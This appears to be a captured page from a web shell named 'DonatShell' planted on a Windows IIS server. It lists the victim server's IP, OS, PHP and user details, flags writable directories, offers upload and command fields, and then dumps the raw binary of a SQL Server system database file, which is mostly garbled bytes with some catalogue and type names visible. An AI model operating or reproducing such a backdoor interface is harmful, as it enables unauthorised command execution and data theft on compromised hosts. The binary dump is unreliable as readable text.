DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.216
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/Microsoft SQL Server/MSSQL11.MSSQLSERVER/MSSQL/Binn/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files/Microsoft SQL Server/MSSQL11.MSSQLSERVER/MSSQL/Binn/mssqlsystemresource.mdf
cs.t|W01./3==EUUUUUUUeeeoy+Ud}Kޟ&>GOOLhMdata`c]1$DDDDDD`dp`tp`phhp``pp`@@@H@@@@ap`p```ph````p```p`````p@@@@@@@@@@@@@@@H````p````p`pp```p```p```p`p`p`p`p`p`p`````p``p`p`p`p`p`p`ppp``p``p```p````````d`p`p`cp```p`p````p`p`p`p`p`p`p`p`@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@```````p@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@H@@@@@@@@@@@@@@@@@@@@@@@`p`p`p`dcddpa``p@@@@@@@@d``dd```@@@@@@@@@@@@@@@@@@@@@@@@DDDCDCDD@@@@@@@@@@@@@@@@@@@@@@@@CDCDDDCD@@@@@@@@p```````@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@`````p``@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@`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@DDDDDBDD@@@@@@@@@@@@@@@@DDDDDDDDDCDDDDDDDDDDDDDDDBDBDDDDDDBDDDDB@@@@@@@@DDDDDDDD@@@@@@@@DBDBDDDC@@@@@@@@DDDDDDDDCDDDDCDD@@@@@@@@DBDDCDDB@@@@@@@@DDBDBDBD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDCDCDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@BDDCDDCD@@@@@@@@CDDBDDDD@@@@@@@@DDCDDCDD@@@@@@@@@@@@@@@@@@@@@@@@BDDDDDDDDDDCDDCD@@@@@@@@DDDDDDDD@@@@@@@@DDDCDDDD@@@@@@@@@@@@@@@@@@@@@@@@BDBDDDDD@@@@@@@@DCDDDDBDDDDDDDDDDCDDDCDDDDBDCDDD@@@@@@@@@@@@@@@@DDDDBDDD@@@@@@@@DBDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@````````````````````````````````````````````````@DDDDDDDDDDDDBDBD@@@@@@@@DDBDDDDB@@@@@@@@DDDDBDDA@@@@@@@@@@@@@@@@@````````````````@@@@@@@@D`@@@@@`Zc]F^8`	Zc:FOC^8`Zc]fU^8@ @ @ @ @ @ @ @ `Zc^8`
,R-	e)VL0Whttp://www.w3.org/2001/XMLSchema0%anyType0jeX1anySimpleType0¢!IDREF0
#5negativeInteger05a(;nonNegativeInteger0Z)/unsignedLong0z,/unsignedByte0wX/'ENTITIES0n	2_http://www.w3.org/XML/1998/namespace0oz؝>#binary0s?!image0btC#bigint0v~V9sqlCompareOptions0zX)sqlSortId00[=xmlSchemaCollection0@c4_microsoft.sqlserver.types, version=0.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil0r>g`	microsoft.sqlserver.types, version=11.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil0`b1base64Encoded0)cEsupplementaryCharacters0Ƭhasm_tranrepl, version=0.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil0[0l1BatchSequence0;Wr7BaseStmtInfoType0%v/ANSI_PADDING0}7StatementEstRows0t;StatementOptmLevel0vQStatementOptmEarlyAbortReason0gȤ?StatementSubTreeCost0ƶ9ParameterizedText0s1QueryPlanHash0r!1QueryPlanType03׬/InternalInfo0XS7InternalInfoType0s]-ColumnGroup0]K+ObjectType02ٝ!Index0!1IndexKindType0	讵?UnmatchedIndexesType0^EArithmeticOperationType0-CompareType0a+ConstValue0s-ConvertType09/FunctionName0x3MultipleAssign0݈ϦGScalarExpressionListType0y;ScalarSequenceType05MemoryFractions0:ܝ!Input0hGRunTimeCountersPerThread0BrY#Thread0f1ActualRewinds09ExecutionModeType0쵐'TaskAddr0.s	-LastRowTime0AActualLobLogicalReads0MLCActualLobPhysicalReads0@cERunTimePartitionSummary0D71RelOpBaseType0#-ValueVector0x&=BatchHashTableBuild0r)#Bitmap0m+'HashKeys0KC3+ConcatType02;-DeletedScan0<)Extension0@.=%UDXType0%6>3UsedUDXColumns0 ى?%UDXName00@#Filter0D'HashType0bƉL1OperationType0z zU/RangeColumns0[ISingleColumnReferenceType0݆چ\7SeekPredicateNew0޹^'SeekKeys0+j/NoExpandHint0ym/InsertedScan0r8s'Residual0Yz5OuterReferences0X{-ProbeColumn0aߒ|)Optimized0Y-Parallelism0k5ParallelismType0+7PartitionColumns0I})Ascending0{1PartitionType0D7LocalParallelism0ԝ!InRow0vb-RemoteFetch0"?5RemoteRangeType0)SpoolType0t7ScalarInsertType0[I3DMLRequestSort0E-SegmentType0_/SequenceType0Z5SequenceProject0
J/ActionColumn0?=StreamAggregateType0kX3RollupInfoType0u1TableScanType0#PETableValuedFunctionType0'xp+TieColumns0U5'WithTies0W+UpdateType0&W7SetPredicateType01C+WindowType0:6+AvgRowSize0#Nc-EstimateCPU0=N/1UDTMethodType0,~=UserDefinedFunction0œ/ScalarString0P*AParameterRuntimeValue0K݆5WaitWarningType005NoJoinPredicate0`/SpatialGuess05MemoryGrantInfo05MemoryGrantType0<1DesiredMemory0%n5RequestedMemory0=U1MaxUsedMemory0wQEstimatedAvailableMemoryGrant0񻄧?EstimatedPagesCached0J
aEstimatedAvailableDegreeOfParallelism0=B=DegreeOfParallelism0ʯ-MemoryGrant0t{-CompileTime0l/FunctionType0%+StmtCursor0й(-ReceivePlan0[p)5ReceivePlanType0f.?CloneAccessScopeType0?h/asm_tablemaintenance, version=0.0.0.0, culture=neutral, publickeytoken=89845dcd8080cc91, processorarchitecture=msil$)Predicate0x&=BatchHashTableBuild0R(1BitmapCreator0r)#Bitmap0m+'HashKeys0,'Collapse0KC3+ConcatType0.V


S=^	$s?
P/	
	~
/X,UcB
wK[KXa	VLd
.,.zQ	a,"|'Hy11}
#qIy`

c
c@	RpRw@u\{.mssqlsystemresource                                                                                                                                                                                                                          &nq2q2kaW@<(±*=W@<(±co4rtH5y34WQC`
Z,
@Fԋ^28`2,u8qTTTTTT	T
TTT
TTTTTTTTTT T!TdTeTfTgThTiTjTk Tl!Tm"Tn#To$Tp%Tq&Tr'Ts(Tt)Tu*Tv+Tw,Tx-Ty.T/T0T3T4T,5T-6T.7T/8T09T1:T2;T3<T4=T5>T6?T7@T8AT9	T:BT;CT<%T=DT>ET?FT@TAGTBHTDITEJTFKTGLTHMTINThOAPAQARAiSAjTAkUAlVAmWAnXAoYApZAq[Ar\AsM||N}}
TJTK]TL^TMaTNbAtcAuTMTMTMMMMuAvAwAxAyAzA{A|A}A~AAATM,,M//M22N33N44M77M@@MCCMFFMIIAKLTOOMVVMeeMhhMllMooMrrMuuMvvMyyMMMMMMMMMMMMMMMMTMMTMTMMMTMM		TMMMMMM##M((M--M11T33M44M99M;;M@@MGGMKKTTTMXXM[[M^^MaaMiiMmmMssMMMMMTMMMMMMMMMMMMMMMMMMMM&&M44MKKMNNMUUM[[MnnMrrTttMxxTzzMMMMTMTMTMMMTMTTMMTMTMEAAAAAAEvTMEAEvTMEEEEvTMEAEvTMEATEvTMEEvTMEEvTAEvTMEETMEEETMAAETMETMAAAAAAAATMTMTMMM(





p
Y
B
+
<zL!oDxS?		\	c5}fO8
iR;$
lU>'XA*r[-u^G0aJ3{dM6




~
g
P
9
"

j%mV
				s	ybKE	.			v_H14eN7	hQ:# |kT=&nW@)qZC,t]F/w`
Z^ 8`
Z
Ə^08`9-;)4p0-XvIvalidation0-Xv88
Onext_fragment0-Xv
88
Ofragment_size0-XvSfragment_bitmap0-Xv@[binary_message_body0-x00Astatus0-x00Epriority0-xOqueuing_order0-xQjqueuing_order0-x$$_conversation_group_id0-x$$[conversation_handle0-xcmessage_sequence_number0-x$$Imessage_id0-x88
Smessage_type_id0-x	88
Iservice_id0-x
88
[service_contract_id0-xIvalidation0-x88
Onext_fragment0-x
88
Ofragment_size0-xSfragment_bitmap0-x@[binary_message_body0-<8z00Astatus0-<8z00Epriority0-<8zOqueuing_order0-<8zQjqueuing_order0-<8z$$_conversation_group_id0-<8z$$[conversation_handle0-<8zcmessage_sequence_number0-<8z$$Imessage_id0-<8z88
Smessage_type_id0-<8z	88
Iservice_id0-<8z
88
[service_contract_id0-<8zIvalidation0-<8z88
Onext_fragment0-<8z
88
Ofragment_size0-<8zSfragment_bitmap0-<8z@[binary_message_body0-u\{88
Moplsn_fseqno0-u\{88
Ooplsn_bOffset0-u\{88
Moplsn_slotid0-u\{88
Cfile_id0-u\{$$Krowset_guid0-u\{$$Kcolumn_guid0-u\{_filestream_value_name0-u\{etransaction_sequence_num0-u\{	Astatus0-|Gcommit_ts0-|Cxdes_id0-|Icommit_lbn0-|Icommit_csn0-|==Kcommit_time0-|88
Edbfragid0-Xv==]message_enqueue_time0-x==]message_enqueue_time0-<8z==]message_enqueue_time0-u\{
=size0-x}Etable_id0-x}88
Moplsn_fseqno0-x}88
Ooplsn_bOffset0-x}88
Moplsn_slotid0-x}$$Gitem_guidLc:ex

@
WZ
g

			eg&'x)6Q46G`
Z	^%8`p`c3)?Oz"")),,.*.)1122336677:<<<<@@AACD DEGH"I$JJKKNZ
[
\]^'^&_0_/`4a"")),,.+223366:@@CEJJKKNZ[]_1`5a"".,22CE_2`6"".-798:;=<>?A@BbbbbbbCDE	F`G
H
I
9JKL=
MNOAP;;;;RRRRUUUU77VVVVVVVVWWWQWWWQR>>>>????PPPP8888880000////----9999********++++++TTTTYYYYYYOOOO			S			STUVWXYZ[\]^_`ab c d!e!f"g"h#i#j$k%l%m&n&o'p(q)r*s+t,u-v.w.x/y/z0{1|2}3~4567899::;<=>?@ABCDEFGHIJKLMNO""""""		"

"""

"		"

"""

""""""""""""""""""""		"

""
"


"""
"
"
"
"
"
"
"""
"
"
""
"""""""""ydO:%}hS>)lWB-p[F1t_J5 xcN9$4	f	{	Q	<		'	+r]
H3	A
va|
L7"
E#
ze
,
P;&
@~iT?g

w

=	*mXC^.	0oq\k

G2
M

ju`'(~ q1	<9YY99YYF	9OO)&9
N69\99IE9#9	0,9999+99!91*99SO9
999y9""
D09))P-9**
9++
. 9,,8%9--
9..
-	9//F900Fa911r 
922"
E19336"966;'977"988O*999F	9::	/'9;;9<<Nu9>>pl9??
LH9@@6#9AA 9CC9DD) Z 9EE9GG# 9HH639II#9JJ9KK09NN$!9PP`9RR749TT+$9UU=
9VV) 9WWW9ZZ/W9[[<i!9\\XW9]].c9^^Hz09__	V(9``
?!9aa9bbF	 99F99		99""

	9))FP
	9**9++9,,
	9..	922"
		933D
966D		977"9889::
9@@
	9CC	9EEF9JJ9KK09NN9VV	9ZZ/

9[[<9]].

9__	9``	9aa
9bbF99Dag99""

	9**Fac9..922"
		9CCF	9EE		9VV 9__)+9``F%+
9""


9..)+9u\{F
\L9u\{B4:179|F309	|F9
XvF4l19XvF28/59xF4l19
xF28/59<8zF4l19<8zF28/59x}F+.(+9		>9d9/-28/5hp2x:BJRZb$j,r4z<DLT\d&l`.

t
6
|>F

N

		V		^ f(n0v8~@H
P*X
Z`	M^8`6A.(WE0`6
68
68	
6z
68
6i8 
64$
64&
6		8(	
6

8,

680
644
6



6L
60
68

68
68
6h8
64
6*
6		0'	
6

0(

64)
68+
6

4/

641
643
6
6
6k
6t0
6t

6k8
64
6
6!
6'
6		-	
6

5

6=
68
64
64

64

6&85
6	0
6	
6	

6	8
6	b
6	@
6*4
6*		4	
6*



6+8
6+4
6+4
6+4
6+8
6+=
6+4
6+8
6+		8	
6+

8

68
68
64
68
68
68
68
68
68
68
68
68
68
68
68
68
68
60
60
6		8	
6

8"

68&
64
6

4

6
*
6
4
6$>
68N
6
R
6
\
6
f
6
p
6
z
6

6

6$
6=
6

6

6

6$
6

6   
6!!$!
6T8
6T=
6T8
6T4
6T$
6|85
6Y8
6Y8
6Y
6Y
6Y
6Y
6Y
6Y8$
6Y		4(	
6Y

p

6Y=)
6Y=1
6O8
6O

6O8
6O
6O=
6	0
6	
6	

6	8
6	b
X

		p	6	Nf,
~D
\"t:Rj0H`EP0q0bE"EE  EE[[\EeefE""tMuA?AE))kolE,,2
E11E22KKLE33E66|B}	E77		E<<PE@@WWXEAAEJJabEKKghEE""Z.,1E,,E22E33E66X
E@@EJJcdEKKijE__`E""^+)1E22E""z{E<<-E))
EEEEEnEbbEbbEEEE;;ERREUU_{yE774
7	EEVVEVVEVVEWWEEE>>E>>E??E??EPPEPPEEEEE88E88E88E00E00E//E//E--E--E99E99E**E**E**E**E++E++E++EEEEEEEETTETTEYYEYYEYYEOOEOOE		E		E;;ERREUUE77447EEVVEVVEVVEWWEWW		7	\.{
8]	WZ64Y~
S5
|9X^2:
1yU_;
[
/
TR`

Z/DQ^8`
Z6+x^

8`,E
<B3o0<J$8$v?Q:c:":A}D@?@JR0G^u-D[r*AXo	'	>	U	l							
$
;
R
i







!8Of}5Lcz

2
I
`
w





/F]t,CZq)@Wn&=Tk#:Qh	 7Ne|4Kby1H_v.E\s+BYp??
Q?@?~?@@?
3?@@?D|?@@??@@??@@?.?@@?|z?@?!?@@?|
?@@?!?0A?d?@@?\D?@?##?@@?1\?@?J'a?@@?o?@@?}0A@?@@@@@@@@@@@??@@??@??@@??@??@@?<@@?e@@@g@@@?j?@@?n?@@?r?@@?v?@??@@?-?@?6?@@?:?@@?>?@@?B?@?K?@@?h@@?@@@@@@@@@@@@@?@@@@@??@@??@??@@??@@?@@??@@?#?@@?'?@@?+?@@?/?@@?3?@@?7?@???@?E?@@?I@@?O?@@?S?@@?W?@@?[?@@?_?@?e?@@?i?@@?m?@@?q?@?w?@@?{?@@??@@??@@??@??@@??@@??@??@@??@@??@@??@??@??@??@??@??@@??@@?@@??@@??@??@@??@@??@@??@@?@@?@@??@@??@@?@@?@@@??@@??@@??@??@@??@@?#?@@?'?@@?+?@@?/@@@?3?@@?7?@@?;?@@???@@?C?@@?G?@@?K?@@?O?@@?S?@?Y?@@?]?@@?a?@@?e?@@?i?@@?m?@@?q?@@?u?@@?y?@@?}?@@??@@??@@??@@??@@??@@??@@??@@??@@??@??@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@@??@??@??@??@??@??@??@??@??@??@?"?@?(?@?.?@?4?@?:?@?@?@?F?@?L?@?R?@?X?@?^?@?d?@?j?@?p@@@?t@@?z?@??@??@??@??@??@??@??@??@??@??@??@?@@??@?@@?Xv?@UU?|??x}	`@= ;?VUUUUU
@IgV@@@*Yf@C	`<JY3,_0<"$7	//?>>AL<A<B@?@]/F0B???u???y0<)$#	1=.<.<i;** AC@@@Pg~6Md{3Jax0G^u@?A?0A?@?pA?
A? A?@@?A?@?0A?"A?)A?,A?.@?1PA?2@A?30A?6@?7A?:@?<A?@@?A@?CA?D@?E@?G@?HA?I@@@KA?L@?N@?Z@A?[@?\@?]@?^A?_A?`@?apA?XvpApApA<8z0<)`"0<* "0<* "0<* "0<+ "0<+ "0<" "0<"$T
7h?>@XI
JJDy	BBA@?@PPC$m1\?j*a<e
	0	Y				
J
s



1`)V
)
\



$S
:i)0??OEventNotificationErrorsQueue0??Ufilestream_tombstone_20730584210??Ofiletable_updates_21050585350??OQueryNotificationErrorsQueue0??Iqueue_messages_19770580790??Iqueue_messages_20090581930??Iqueue_messages_20410583070??;ServiceBrokerQueue0??1sysallocunits0??-sysasymkeys0??+sysaudacts0??+sysbinobjs0??1sysbinsubobjs0??1sysbrickfiles0??'syscerts0??1syschildinsts0??)sysclones0??+sysclsobjs0??+syscolpars0??/syscommittab0??7syscompfragments0??/sysconvgroup0??7syscscolsegments0??9syscsdictionaries0??+sysdbfiles0??)sysdbfrag0??'sysdbreg0??'sysdercv0??)sysdesend0??)sysendpts0??)sysfgfrag0??)sysfiles10??-sysfoqueues0??#sysfos0??)sysftinds0??5sysftproperties0??7sysftsemanticsdb0??+sysftstops0??-sysguidrefs0??-sysidxstats0??)sysiscols0??+syslnklgns0??5sysmultiobjrefs0??)sysnsobjs0??5sysobjkeycrypts0??/sysobjvalues0??)sysowners0??%sysphfg0??1syspriorities0??'sysprivs0??#syspru0??-sysprufiles0??)sysqnames0??3sysremsvcbinds0?@?+sysrowsets0??)sysrscols0??#sysrts0??3sysscalartypes0??+sysschobjs0??3sysseobjvalues0??7syssingleobjrefs0??3syssoftobjrefs0??/syssqlguides0??5systypedsubobjs0??-sysusermsgs0??1syswebmethods0??'sysxlgns0??-sysxmitbody0??/sysxmitqueue0??5sysxmlcomponent0??-sysxmlfacet0??5sysxmlplacement0??)sysxprops0??'sysxsrvs

((EventNotificationErrorsQueuequeue_messages_2041058307sysbinsubobjscolparsdbfilesfgfragtsemanticsdblnklgnsphfgremsvcbindsscalartypestypedsubobjsxmlcomponent@@5
8BIPQVbimxL"%88
	clust0R%)~clust0R
)-88
	clust0R^psysserefsclust	phllllllllllllll@h}	[	9		=`	<L3/4s0<$	?ى=%I=$A`A@$A@g8Ph40??0??0???3	@0???3	@0?@?3	@0???3		@0??3	tgIKC'b0<$	?6W=6W=6W=6W=6W=AA?@@@@@8$??A?0< "0< "0< "0<"$p?>rLU:rLU:fKBD?@f'B@ltD?A/S@Y?4@(@0<"$
:

?39@+E@Ya/F]t,CZq)@Wn&=Tk	#	:	Q	h								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,??.??2??3??6??:??@??C??E??J??K??N??Z??[?@@?a????"??.??2??C??E??_??`??"??.??????????0<"0<$	YY>8<8<AB?AAT,@A?B?@@?0<$x	?%I=@`A@@Wn??????????@???@??@?@?@???	@0< "	?%I=%I=

A`AA@h6c3P0??3db_accessadmin0??9db_backupoperator0??1db_datareader0??1db_datawriter0??-db_ddladmin0??9db_denydatareader0??9db_denydatawriter0??'db_owner0??7db_securityadmin0??dbo0???;INFORMATION_SCHEMA0??#public0??sys

((>db_accessadmindatareaderwriterenydatareaderownerguestpublicsys@@%++05;0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0< "0<$Y:/?%I=%I=

A`AA@h6c3P0??3db_accessadmin0??9db_backupoperator0??1db_datareader0??1db_datawriter0??-db_ddladmin0??9db_denydatareader0??9db_denydatawriter0??'db_owner0??7db_securityadmin0??dbo0???;INFORMATION_SCHEMA0??#public0??sys

((>db_accessadmindatareaderwriterenydatareaderownerguestpublicsys@@%++05;PZ
U3eC!w<DB<<
$	L>!
R<ՠ:LL@ADA@d
`{8Sn+Fa|9To,Gb}:Up-Hc~	 	;	V	q						
.
I
@?A?0A?@?pA?
A? A?@@?A?@?0A?"A?)A?,A?.@?1PA?2@A?30A?6@?7A?:@?<A?@@?A@?CA?D@?E@?G@?HA?I@@@KA?L@?N@?Z@A?[@?\@?]@?^A?_A?`@?a@?@@@)@?,@?.@@?2@?3@@?6@?:@@?@@?C@@?E@?J@?K@?N@@?Z@?[@@?]@?_@?`@?a@?@?"@@?.@@?2@@?C@?E@?_@?`@@?"@?.pA?@?pA?@?pA?@?`<
bDG0<$	~
NN?!
R<>>ABAz&A\w4Oj'B]x5Pk
(C^y6Ql)D_??????????
???????????"??)??,??.??1???3??6??7??:??<??@??A?@?E?@?I???K??L??N??Z???\???^???`??a?????)??,??.??2??3??6??:??@??C??E??J??K??N??Z??[?@@?a????"??.??2??C??E??_??`??"??.??????????0<$@

YY?8<@@ABA6Ql)D_z7Rm*E`{8Sn+Fa|9To??????????
???????????"??)??,??1???3??6??7??<??@??A??J???L?????)??,??2??3??6???J??K????"??2??"??<??????????????
????
????????@??@@????? ???$??&??'?@?+???-?@?1??2?@?6???8???:???<???>???@???B0< "0< "0<	 "
\`TTTTT|(`X`
DH(((((d}}}}`XH
,0L`XTTTT0
\\\\\				4`X
VVVVVMMMMM`X
h`'''''Xrrrr
JJJJJhlP`VVVVVX
˸PTOOOO8`BBBBBXh
^^^^^8~~~~~<++++ h`XEEEEP
Ȉ $P`XSSSS8
lpٌ8`X p
TCCCCXt<  `X`(xLp0l<LZ
`F
<I=3_#0<"$7	//?>>AL<A<B@?@]/F0B???u???y0<)$#	1=.<.<i;** AC@@@Pg~6Md{3Jax0G^u@?A?0A?@?pA?
A? A?@@?A?@?0A?"A?)A?,A?.@?1PA?2@A?30A?6@?7A?:@?<A?@@?A@?CA?D@?E@?G@?HA?I@@@KA?L@?N@?Z@A?[@?\@?]@?^A?_A?`@?apA?XvpApApA<8z0<* "0<* "0<* "0<+ "0<+ "0<)@$

E/=8p`<Sݼ:Sݼ:Sݼ:FFA-D@oA@@z0G^u-D[r*AXo'>Ul
$;Ri
!8Of}5LcPA?A?A?0A?@?@?	@?@?@?@?@?B?A?A?pA? A?0A?@?@A?"A?) A A A+A?,@?- A?.@?/@?0@?1PA?2@A?30A?6A?7A?8@?9A?:@?;@?<A?> A??A?@@?A@?CA?D@?E@?G@?HA?I@@@K@?N@?OA?PA?R@?T@?U@?V@@?W@A?Y@?Z@A?[@?\@?]@?^A?_ A?`@?aA?bA?XvAAA<8z A?u\{@?|@?x}0<"$S?@C@>F'@@?C?0<"@$
B

??+E?lt+E?u4@?@
0<"@$)
D

=@+E@9x 5J_tA?AF??D C?FN@?FS@?FTB?IF@?ITD?P @A?PCB?S @@?SQA?TFLB?U @
D?V B?X ((AFFNSIFP CS TFU V X @X	
v4@ ?@5?
0<"$E8
6$

>@QE@]/F@@?A?OE?Sa@?,@*@??
[	9		}	=YU`U
V
<7S0<d "0< "0<d$;`?<qq#AC#AS[=`)^-b)`Hu2				&
]



Lo+
c


B
2{$Op/Ry/f.Ol(K~?pOKTy5`5Z0??%AES_1280??%AES_1920??%AES_2560??#AES1280??#AES1920??#AES2560??;AGGREGATE_FUNCTION0??IALLOW_MULTIPLE_EVENT_LOSS0??EALLOW_SINGLE_EVENT_LOSS0??5APPLICATION LOG0??7APPLICATION_ROLE0??MASYMMETRIC_KEY_MAPPED_LOGIN0??KASYMMETRIC_KEY_MAPPED_USER0??5Backup Database0??;Backup Transaction0??GCERTIFICATE_MAPPED_LOGIN0??ECERTIFICATE_MAPPED_USER0??7CHECK_CONSTRAINT0??#CLOSED0??=CLR_SCALAR_FUNCTION0???CLR_STORED_PROCEDURE0??ICLR_TABLE_VALUED_FUNCTION0??-CLR_TRIGGER0??5COMPONENT_LOGIN0??+CONVERSING0??]COUNTER SIGNATURE BY ASYMMETRIC KEY0??WCOUNTER SIGNATURE BY CERTIFICATE0??5Create Database0??3Create Default0??5Create Function0??7Create Procedure0???/Create Table0??-Create View0??'DATABASE0??1DATABASE_ROLE0??;DEFAULT_CONSTRAINT0??#Delete0@@@DES0@?DESX0???DISCONNECTED_INBOUND0??ADISCONNECTED_OUTBOUND0??]ENCRYPTED_BY_CRYPTOGRAPHIC_PROVIDER0??EENCRYPTED_BY_MASTER_KEY0??AENCRYPTED_BY_PASSWORD0??UENCRYPTED_BY_SERVICE_MASTER_KEY0??OENCRYPTION BY ASYMMETRIC KEY0??IENCRYPTION BY CERTIFICATE0??GENCRYPTION BY MASTER KEY0??CENCRYPTION BY PASSWORD0??MENCRYPTION BY SYMMETRIC KEY0???;EVENT_NOTIFICATION0??%Execute0??IEXTENDED_STORED_PROCEDURE0??FILE0???GFILESTREAM_LOG_FILEGROUP0??CFOREIGN_KEY_CONSTRAINT0??+FULL_CRAWL0@?!GRANT0??EGRANT_WITH_GRANT_OPTION0??9INCREMENTAL_CRAWL0??AINDEPENDENT COMPONENT0??#Insert0??'INSTANCE0??3INTERNAL_TABLE0??1NO_EVENT_LOSS0??3NO_PRIVATE_KEY0@?NONE0??7PARTITION_SCHEME0??9PAUSED_FULL_CRAWL0??%PER_CPU0??'PER_NODE0??CPRIMARY_KEY_CONSTRAINT0??!RANGE0@?RC20@?RC40@?%RC4_1280??+References0??OREPLICATION_FILTER_PROCEDURE0??#REVOKE0??3ROWS_FILEGROUP0??'RSA_10240??'RSA_20480??%RSA_5120??RULE0??/SECURITY LOG0?@@?1SERVICE_QUEUE0??MSIGNATURE BY ASYMMETRIC KEY0??GSIGNATURE BY CERTIFICATE0??KSQL_INLINE_SCALAR_FUNCTION0??WSQL_INLINE_TABLE_VALUED_FUNCTION0??)SQL_LOGIN0??=SQL_SCALAR_FUNCTION0???SQL_STORED_PROCEDURE0??ISQL_TABLE_VALUED_FUNCTION0??-SQL_TRIGGER0??'SQL_USER0??5STARTED_INBOUND0??7STARTED_OUTBOUND0??%SYNONYM0??/SYSTEM_TABLE0??-TABLE_GROUP0@?+TRIPLE_DES0@?5TRIPLE_DES_3KEY0??+TYPE_TABLE0??9UNIQUE_CONSTRAINT0??#Update0??/UPDATE_CRAWL0??+USER_TABLE0??VIEW0??%WINDOWS0@?1WINDOWS_GROUP0??1WINDOWS_LOGIN0??/WINDOWS_USER((AES_128PPLICATION LOGCHECK_CONSTRAINTOUNTER SIGNATURE BY ASYMMETRIC KEYreate ViewDESENCRYPTION BY ASYMMETRIC KEYXTENDED_STORED_PROCEDUREGRANT_WITH_GRANT_OPTIONNONERC2OWS_FILEGROUPSERVER_ROLEQL_STORED_PROCEDURETABLE_GROUPUPDATE_CRAWL@"%
GQTUp

0<d "n
<|9[x 0< "
`	_:s^t2JK
L<"@,)367A1x(
Haaaaạl44440x`dddddX1111P,l0
ڔP%%%%%ԥtpppp8`WWWWWXX,l55555````8
iiiii<<<<XHHHHHܧ|@`X`,lꐩ@
ȩ`䩋H`Xhȩ,lԘH
RRRRRЫh쫋P`XVVVVpЫ,lnnnnn;;;;P
hhhhh====حpAAAAAX`AAAAAXxح,l(((((}}}}X
ggggg2222ோx``X뀱ோ,l۰`
įJJJJ豋ggggg2222h`XЈ豋,lʸh
̱KKKKp`?????Xjjjj,lp
RRRRRԳJJJJx`?????Xjjjj,lzzzzz////ȷx
ܵȷ`X,lй
䷋QQQQQ$Ļй`Xר,lppppp%%%%ػ
칋AAAA;;;;;,̽nnnnػ`Xɰ,l<<<<<iiiiཋ
FFFFF     4Կuuuuཋ`X,l     uuuu th@4(\dLXxl`l ܀data                                                                                                                            e:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\mssqlsystemresource.mdf                                                                                                                                                                            Blog                                                                                                                             e:\sql11_main_t.obj.x86release\sql\mkmastr\databases\objfre\i386\mssqlsystemresource.ldf                                                                                                                                                                            x`
Z
!%ԏ^8`~~"&~;f(!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!o`
Z#'&	^8`
B
$	'&vhttp://schemas.microsoft.com/SQL/ServiceBroker/Error&~http://schemas.microsoft.com/SQL/ServiceBroker/EndDialog&http://schemas.microsoft.com/SQL/Notifications/QueryNotification&http://schemas.microsoft.com/SQL/Notifications/EventNotification&http://schemas.microsoft.com/SQL/ServiceBroker/DialogTimer&http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/MissingRoute&http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/FailedRoute&http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/MissingRemoteServiceBinding&	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/FailedRemoteServiceBinding&
